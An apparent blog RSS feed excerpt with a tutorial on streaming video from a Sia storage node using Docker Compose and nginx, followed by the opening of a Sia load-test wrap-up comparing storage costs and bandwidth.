&lt;div class=&quot;language-yml code-block-tab highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sia&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;mtlynch/sia:1.3.3-rc1&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;container_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sia&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;SIA_MODULES=gctrw&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;restart&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;on-failure&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;9981:9981&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;./sia-data:/sia-data&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;./uploads:/sia-uploads&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;nginx&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;container_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;nginx&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;restart&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;always&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ports&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;80:80&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;./nginx.conf:/etc/nginx/nginx.conf:ro&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;links&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sia&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# sia-metrics-collector is optional. It will collect Sia metrics for you&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# in your metrics/ folder. You can delete this section if you don&apos;t want it.&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sia-metrics-collector&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;mtlynch/sia_metrics_collector:2018-05-08&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;container_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sia-metrics-collector&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;environment&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;SIA_HOSTNAME=http://sia&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;OUTPUT_FILE=/metrics/metrics.csv&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;restart&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;on-failure&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;volumes&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;./metrics:/metrics&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;depends_on&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sia&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;links&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;sia&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;clearfix full-width&quot;&gt;
  &lt;a href=&quot;/files/sia-streaming-preview/docker-compose.yml&quot; download=&quot;&quot; class=&quot;btn code-tab&quot;&gt;download raw&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;This file tells Docker to set up a network of three containers to support my streaming solution.&lt;/p&gt;

&lt;p&gt;Obviously, there’s a container for Sia, which runs the 1.3.3 release candidate.&lt;/p&gt;

&lt;p&gt;The next container is for &lt;a href=&quot;https://nginx.org/en/&quot;&gt;nginx&lt;/a&gt;, which I use as a reverse proxy to connect external HTTP requests to Sia.&lt;/p&gt;

&lt;p&gt;Finally, there’s the Sia metrics collector. That one is optional and just captures metrics about Sia that you can visualize by following &lt;a href=&quot;https://github.com/mtlynch/sia_metrics_collector&quot;&gt;these instructions&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;nginxconf&quot;&gt;nginx.conf&lt;/h3&gt;

&lt;div class=&quot;language-text code-block-tab highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;events {}

http {
    upstream sia-backend {
      server sia:9980;
    }

    server {
      listen 80;
      proxy_read_timeout 600s;

      rewrite ^/(.+)$ /renter/stream/$1 last;
      location /renter/stream/ { proxy_pass http://sia:9980; }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;clearfix full-width&quot;&gt;
  &lt;a href=&quot;/files/sia-streaming-preview/nginx.conf&quot; download=&quot;&quot; class=&quot;btn code-tab&quot;&gt;download raw&lt;/a&gt;
&lt;/div&gt;

&lt;p&gt;This is the configuration file for nginx. It listens on port 80, the default port for HTTP traffic. When it receives an HTTP request for a path like &lt;code class=&quot;highlighter-rouge&quot;&gt;/foo/bar.mp4&lt;/code&gt;, it forwards the request to the Sia node and rewrites the path to &lt;code class=&quot;highlighter-rouge&quot;&gt;http://sia:9980/renter/stream/foo/bar.mp4&lt;/code&gt;, which is Sia’s &lt;a href=&quot;https://github.com/NebulousLabs/Sia/blob/master/doc/API.md#renterstreamsiapath-get&quot;&gt;streaming download endpoint&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It’s worth noting that Sia runs many endpoints on port 9980, many of which are sensitive APIs that you shouldn’t expose publicly. The APIs for sending funds or displaying your wallet seed run on the same port, for example. The configuration above protects the Sia node by only exposing the &lt;code class=&quot;highlighter-rouge&quot;&gt;/renter/stream&lt;/code&gt; API and keeping every other sensitive endpoint inaccessible externally.&lt;/p&gt;

&lt;h2 id=&quot;starting-your-node&quot;&gt;Starting your node&lt;/h2&gt;

&lt;p&gt;Starting your streaming Sia node requires just five shell commands:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Create directories for Sia.&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;sia-streaming &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;sia-streaming
&lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;sia-data uploads metrics

&lt;span class=&quot;c&quot;&gt;# Download the necessary files.&lt;/span&gt;
wget https://spaceduck.mtlynch.io/files/sia-streaming-preview/docker-compose.yml
wget https://spaceduck.mtlynch.io/files/sia-streaming-preview/nginx.conf

&lt;span class=&quot;c&quot;&gt;# Start the Docker containers&lt;/span&gt;
docker-compose up &lt;span class=&quot;nt&quot;&gt;--detach&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;interacting-with-sia&quot;&gt;Interacting with Sia&lt;/h2&gt;

&lt;p&gt;You can interact with Sia through the &lt;code class=&quot;highlighter-rouge&quot;&gt;siac&lt;/code&gt; command-line client within the container to perform any standard actions:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia ./siac version
Sia Client
        Version 1.3.2
        Git Revision 6cf56381
        Build Time   Thu May  3 15:49:46 UTC 2018
Sia Daemon
        Version 1.3.2
        Git Revision 6cf56381
        Build Time   Thu May  3 15:49:46 UTC 2018
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To start streaming, you need to create a Sia wallet and fund it with at least 500 SC (this is left as an exercise to the reader).&lt;/p&gt;

&lt;p&gt;You then need to create renter contracts. I created contracts through the command below. It’s a bit unusual because I’m choosing very short contracts to match my VPS’s one-month lifetime.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia ./siac renter setallowance 5KS 30d 50 288b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, you’ll need to upload files. Any file you place in the &lt;code class=&quot;highlighter-rouge&quot;&gt;./uploads&lt;/code&gt; directory on your host will appear within your Sia container under the &lt;code class=&quot;highlighter-rouge&quot;&gt;/sia-uploads&lt;/code&gt; path. Here are the commands I used to upload a few video files:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia ./siac renter upload &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  /sia-uploads/big_buck_bunny_480p_surround-fix.mp4 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  /big_buck_bunny_480p_surround-fix.mp4

docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia ./siac renter upload &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  /sia-uploads/bbb_sunflower_1080p_60fps_normal.mp4 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  /bbb_sunflower_1080p_60fps_normal.mp4

docker &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; sia ./siac renter upload &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  /sia-uploads/bbb_sunflower_2160p_60fps_normal.mp4 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  /bbb_sunflower_2160p_60fps_normal.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’m keeping the files on the Sia network, so it wouldn’t be very exciting if I had to keep all the files locally as well. Once &lt;code class=&quot;highlighter-rouge&quot;&gt;siac renter -v&lt;/code&gt; showed that my files were 100% uploaded to Sia, I deleted the local copies from my host:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;rm &lt;/span&gt;uploads/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;live-demo&quot;&gt;Live demo&lt;/h1&gt;

&lt;p&gt;I set up a demo below where you can stream the short film &lt;em&gt;Big Buck Bunny&lt;/em&gt;  &lt;strong&gt;directly from my Sia node&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Click one of the “Play” buttons and a video player will pop up below:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Filename&lt;/th&gt;
      &lt;th&gt;Resolution&lt;/th&gt;
      &lt;th&gt;File size&lt;/th&gt;
      &lt;th&gt;Watch&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;http://streamingdemo.spaceduck.io/big_buck_bunny_480p_surround-fix.mp4&quot;&gt;big_buck_bunny_480p_surround-fix.mp4&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;480p&lt;/td&gt;
      &lt;td&gt;151 MB&lt;/td&gt;
      &lt;td&gt;&lt;input type=&quot;submit&quot; value=&quot;Play&quot; id=&quot;load480p&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;http://streamingdemo.spaceduck.io/bbb_sunflower_1080p_60fps_normal.mp4&quot;&gt;bbb_sunflower_1080p_60fps_normal.mp4&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;1080p&lt;/td&gt;
      &lt;td&gt;356 MB&lt;/td&gt;
      &lt;td&gt;&lt;input type=&quot;submit&quot; value=&quot;Play&quot; id=&quot;load1080p&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;http://streamingdemo.spaceduck.io/bbb_sunflower_2160p_60fps_normal.mp4&quot;&gt;bbb_sunflower_2160p_60fps_normal.mp4&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;2160p&lt;/td&gt;
      &lt;td&gt;673 MB&lt;/td&gt;
      &lt;td&gt;&lt;input type=&quot;submit&quot; value=&quot;Play&quot; id=&quot;load2160p&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;div id=&quot;vidHolder&quot; style=&quot;width: 700px; height: 500px;&quot;&gt;
&lt;p style=&quot;color: red;&quot;&gt;Click one of the &quot;Play&quot; buttons above to watch.&lt;/p&gt;
&lt;/div&gt;

&lt;script&gt;
var loadVideo = function(source) {
  var vidHolder = document.getElementById(&quot;vidHolder&quot;);
  vidHolder.innerHTML = &quot;&quot;;
  var videlem = document.createElement(&quot;video&quot;);
  videlem.controls = &quot;controls&quot;;
  videlem.autoplay = &quot;autoplay&quot;;
  videlem.width = 640;
  videlem.height = 480;
  videlem.autoplay = true;
  var sourceMP4 = document.createElement(&quot;source&quot;);
  sourceMP4.type = &quot;video/mp4&quot;;
  sourceMP4.src = source;
  videlem.appendChild(sourceMP4);
  vidHolder.appendChild(videlem);
};

document.getElementById(&quot;load480p&quot;).onclick = function() {
  loadVideo(&quot;http://streamingdemo.spaceduck.io/big_buck_bunny_480p_surround-fix.mp4&quot;);
};
document.getElementById(&quot;load1080p&quot;).onclick = function() {
  loadVideo(&quot;http://streamingdemo.spaceduck.io/bbb_sunflower_1080p_60fps_normal.mp4&quot;);
};
document.getElementById(&quot;load2160p&quot;).onclick = function() {
  loadVideo(&quot;http://streamingdemo.spaceduck.io/bbb_sunflower_2160p_60fps_normal.mp4&quot;);
};
&lt;/script&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note&lt;/strong&gt;: The streaming feature is not meant to support streaming to multiple clients at once. Expect to see very long load times and timeouts.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The server is an &lt;a href=&quot;https://afterburst.com/unmetered-kvm-vps&quot;&gt;Afterburst Mini KVM&lt;/a&gt; with 2 CPU cores, 2 GB of RAM, and 1 Gbps network. I rented the server for one month and loaded my Sia wallet with 5000 SC, so I’ll let it run until people download enough to exhaust my renter contracts or until my VPS month ends. I’m &lt;a href=&quot;https://github.com/mtlynch/sia_metrics_collector&quot;&gt;collecting metrics&lt;/a&gt; on Sia’s spending, so I’ll update if anything neat emerges from that.&lt;/p&gt;

&lt;h1 id=&quot;stream-whatever-you-want&quot;&gt;Stream whatever you want&lt;/h1&gt;

&lt;p&gt;Video and audio are the most useful types of files to stream because they allow you to skip around the file, but Sia can stream files of any type.&lt;/p&gt;

&lt;p&gt;I copied the PDF of my &lt;a href=&quot;/load-test-wrapup/&quot;&gt;Sia Load Test&lt;/a&gt; plan to my Sia node as well, so you can download that via the URL below:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://streamingdemo.spaceduck.io/load-test-plan-2018-02-14.pdf&quot;&gt;http://streamingdemo.spaceduck.io/load-test-plan-2018-02-14.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;dont-get-too-excited-yet&quot;&gt;Don’t get too excited yet&lt;/h1&gt;

&lt;p&gt;When people hear that Sia will offer video streaming, they think that it’s going to be some sort of decentralized, censorship-free YouTube. That’s not what this is.&lt;/p&gt;

&lt;p&gt;The server is still the single-point of failure. When I shut off the VPS at the end of the month, the video demos above will stop playing. If I streamed something illegal, authorities could track down the server and seize it just like any other site.&lt;/p&gt;

&lt;p&gt;Sia does indeed stream videos, but if all you wanted to do was stream a few videos from a web server, there are far easier ways to do it.&lt;/p&gt;

&lt;p&gt;What’s interesting about Sia’s streaming feature is how it allows you to trade resource constraints. There are four main resources that a video streaming provider typically cares about (in descending order of importance):&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Network bandwidth&lt;/li&gt;
  &lt;li&gt;Compute power&lt;/li&gt;
  &lt;li&gt;Memory&lt;/li&gt;
  &lt;li&gt;Storage&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Sia’s streaming feature increases network bandwidth because it has to download data from hosts, then send data to the user’s browser. It increases compute and memory consumption because it also needs to rejoin and decrypt each data shard.&lt;/p&gt;

&lt;p&gt;The advantage Sia offers is its low storage footprint. You could theoretically set up Sia to serve ~5 TB of files on a server that has only 50 GB of local storage. An example use-case might be a site that has a very large catalog of videos which users don’t access very frequently (e.g., &lt;a href=&quot;https://archive.org/&quot;&gt;The Internet Archive&lt;/a&gt;).&lt;/p&gt;

&lt;h1 id=&quot;okay-you-can-get-a-little-excited&quot;&gt;Okay, you can get a little excited&lt;/h1&gt;

&lt;p&gt;Sia is advertising the video streaming aspect of this feature because that’s the most tangible use-case. If you’re thinking ahead, the &lt;em&gt;really&lt;/em&gt; exciting part is how it facilitates software integrations with Sia.&lt;/p&gt;

&lt;p&gt;Prior to 1.3.3, applications could only download files from Sia if they ran on the same system. That’s a crippling limitation, as most apps expect to integrate with storage backends over the network, not through the filesystem.&lt;/p&gt;

&lt;p&gt;Download streaming brings Sia closer to the point where applications can communicate with Sia entirely over the network. It’s not quite there yet because Sia doesn’t yet support upload streaming, but downloads get it halfway there.&lt;/p&gt;

&lt;h1 id=&quot;acknowledgments&quot;&gt;Acknowledgments&lt;/h1&gt;

&lt;p&gt;Thanks to Christoph Schaefer, who created &lt;a href=&quot;https://medium.com/@chrsch79/stream-video-from-sia-network-bc9e2d5d9daa&quot;&gt;the first tutorial&lt;/a&gt; for Sia’s video streaming feature. His post showed me how to use the feature and inspired me to extend it in this post.&lt;/p&gt;
</description>
        <pubDate>Tue, 08 May 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/sia-streaming-preview/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/sia-streaming-preview/</guid>
      </item>
    
      <item>
        <title>Sia Load Test Wrap-up</title>
        <description>&lt;p&gt;Over the past three months, I performed a series of load tests on Sia. I published reports to describe each test individually, but now I’d like to look back on the tests at a high level to share what I learned about Sia and how to improve testing as the project moves forward.&lt;/p&gt;

&lt;h2 id=&quot;result-summary&quot;&gt;Result summary&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Metric&lt;/th&gt;
      &lt;th&gt;&lt;a href=&quot;/load-test-1&quot;&gt;Worst-case&lt;/a&gt;&lt;/th&gt;
      &lt;th&gt;&lt;a href=&quot;/load-test-2&quot;&gt;Real data&lt;/a&gt;&lt;/th&gt;
      &lt;th&gt;&lt;a href=&quot;/load-test-3&quot;&gt;Best-case&lt;/a&gt;&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Total uploaded (&lt;a href=&quot;/load-test-1/#file-bytes-vs-absolute-bytes&quot;&gt;file bytes&lt;/a&gt;)&lt;/td&gt;
      &lt;td&gt;47.2 KiB&lt;/td&gt;
      &lt;td&gt;4.3 TiB&lt;/td&gt;
      &lt;td&gt;1.5 TiB&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total uploaded (&lt;a href=&quot;/load-test-1/#file-bytes-vs-absolute-bytes&quot;&gt;absolute bytes&lt;/a&gt;)&lt;/td&gt;
      &lt;td&gt;9.8 TiB&lt;/td&gt;
      &lt;td&gt;15.4 TiB&lt;/td&gt;
      &lt;td&gt;7.2 TiB&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Storage efficiency&lt;/td&gt;
      &lt;td&gt;0.0000004470%&lt;/td&gt;
      &lt;td&gt;28.3%&lt;/td&gt;
      &lt;td&gt;21.5%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total files uploaded&lt;/td&gt;
      &lt;td&gt;48,358&lt;/td&gt;
      &lt;td&gt;2,626&lt;/td&gt;
      &lt;td&gt;40,552&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total file contracts created&lt;/td&gt;
      &lt;td&gt;60&lt;/td&gt;
      &lt;td&gt;62&lt;/td&gt;
      &lt;td&gt;68&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total spent&lt;/td&gt;
      &lt;td&gt;3625 SC&lt;br /&gt;$50.75* USD&lt;/td&gt;
      &lt;td&gt;4377.1 SC&lt;br /&gt;$61.07* USD&lt;/td&gt;
      &lt;td&gt;1,840 SC&lt;br /&gt;$25.21* USD&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;$ per TB/month**&lt;/td&gt;
      &lt;td&gt;$350 million&lt;/td&gt;
      &lt;td&gt;$4.51&lt;/td&gt;
      &lt;td&gt;$5.13&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Total test time&lt;/td&gt;
      &lt;td&gt;596.8 hours&lt;br /&gt;(24.9 days)&lt;/td&gt;
      &lt;td&gt;231.7 hours&lt;br /&gt;(9.7 days)&lt;/td&gt;
      &lt;td&gt;336.0 hours&lt;br /&gt;(14.0 days)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Average upload bandwidth (&lt;a href=&quot;/load-test-1/#file-data-bandwidth-vs-absolute-bandwidth&quot;&gt;file data&lt;/a&gt;)&lt;/td&gt;
      &lt;td&gt;0.00000018 Mbps&lt;/td&gt;
      &lt;td&gt;45.8 Mbps&lt;/td&gt;
      &lt;td&gt;11.2 Mbps&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Average upload bandwidth (&lt;a href=&quot;/load-test-1/#file-data-bandwidth-vs-absolute-bandwidth&quot;&gt;absolute&lt;/a&gt;)&lt;/td&gt;
      &lt;td&gt;40.3 Mbps&lt;/td&gt;
      &lt;td&gt;162.1 Mbps&lt;/td&gt;
      &lt;td&gt;52.2 Mbps&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Sia crashes&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
      &lt;td&gt;0&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;* Based on Siacoin value at test start. Assumes that unused renter funds will successfully return to the test wallet at the conclusion of the renter contracts.&lt;/p&gt;

&lt;p&gt;**Assumes that a standard renter contract lasts 2.77 months. Excludes bandwidth costs. Includes all fees.&lt;/p&gt;

&lt;h2 id=&quot;test-environment&quot;&gt;Test environment&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Sia version: 1.3.1&lt;/li&gt;
  &lt;li&gt;OS: Windows 10 x64&lt;/li&gt;
  &lt;li&gt;CPU: Intel i7-5820K @ 3.3 GHz&lt;/li&gt;
  &lt;li&gt;RAM: 32 GB&lt;/li&gt;
  &lt;li&gt;Local disk (for Sia metadata): 512 GB SSD&lt;/li&gt;
  &lt;li&gt;Network storage (for input files): Synology DS412+ (4 TB free)&lt;/li&gt;
  &lt;li&gt;Internet connection: Verizon FiOS home - 940 Mbps download / 880 Mbps upload&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;what-i-learned-about-sia&quot;&gt;What I learned about Sia&lt;/h2&gt;

&lt;h3 id=&quot;sia-is-robust&quot;&gt;Sia is robust&lt;/h3&gt;

&lt;p&gt;I’ve been using Sia for almost two years now. I like to push Sia’s limits and run it under weird scenarios, which means I’ve seen plenty of Sia crashes over the years.&lt;/p&gt;

&lt;p&gt;Sia didn’t crash once during these tests. Cumulatively, Sia ran for 48.6 days and processed 91,536 files without a single crash.&lt;/p&gt;

&lt;p&gt;Anecdotally, most of the crashes I see others reporting lately relate to memory exhaustion. In my load test, Sia was running on a system with 32 GB of RAM, so memory was harder to exhaust. In addition, the test script limited Sia to five simultaneous uploads, which may have kept memory demands in check.&lt;/p&gt;

&lt;h3 id=&quot;storage-isnt-that-cheap&quot;&gt;Storage isn’t that cheap&lt;/h3&gt;

&lt;p&gt;Sia has always touted low storage costs as one of their competitive advantages. The &lt;a href=&quot;https://sia.tech&quot;&gt;Sia website&lt;/a&gt; has for the past few years listed storage costs as $2 per TB/month, claiming this is 90% less expensive than incumbent providers.&lt;/p&gt;

&lt;figure class=&quot;&quot;&gt;
  



&lt;a href=&quot;/images/2018-04-28-load-test-wrapup/website-estimate.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-04-28-load-test-wrapup/website-estimate.png&quot; alt=&quot;Price estimate on Sia website&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-04-28-load-test-wrapup/372/website-estimate.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-04-28-load-test-wrapup/672/website-estimate.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-04-28-load-test-wrapup/756/website-estimate.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-04-28-load-test-wrapup/840/website-estimate.png 840w,         https://spaceduck.mtlynch.io/images/2018-04-28-load-test-wrapup/website-estimate.png 1051w&quot; sizes=&quot;(max-width: 52em) 672px, (max-width: 96em) 840px, 100vw&quot; class=&quot; &quot; /&gt;
&lt;/a&gt;



  &lt;figcaption&gt;Storage price estimate on Sia website&lt;/figcaption&gt;



&lt;/figure&gt;

&lt;p&gt;I found that, after taking into account Sia’s fees and extra costs from replication, Sia remains low-cost, but the savings are not as dramatic as advertised.&lt;/p&gt;

&lt;p&gt;The test with the best cost efficiency was the &lt;a href=&quot;/load-test-2&quot;&gt;real data test&lt;/a&gt;, which achieved $4.51 per TB/month. This is certainly lower than Amazon S3’s standard storage class ($23 per TB/month), but the comparison to S3 isn’t quite realistic. AWS doesn’t have an offering that’s similar to Sia in performance. Standard S3 is much more performant than Sia, whereas Amazon Glacier is much less performant.&lt;/p&gt;

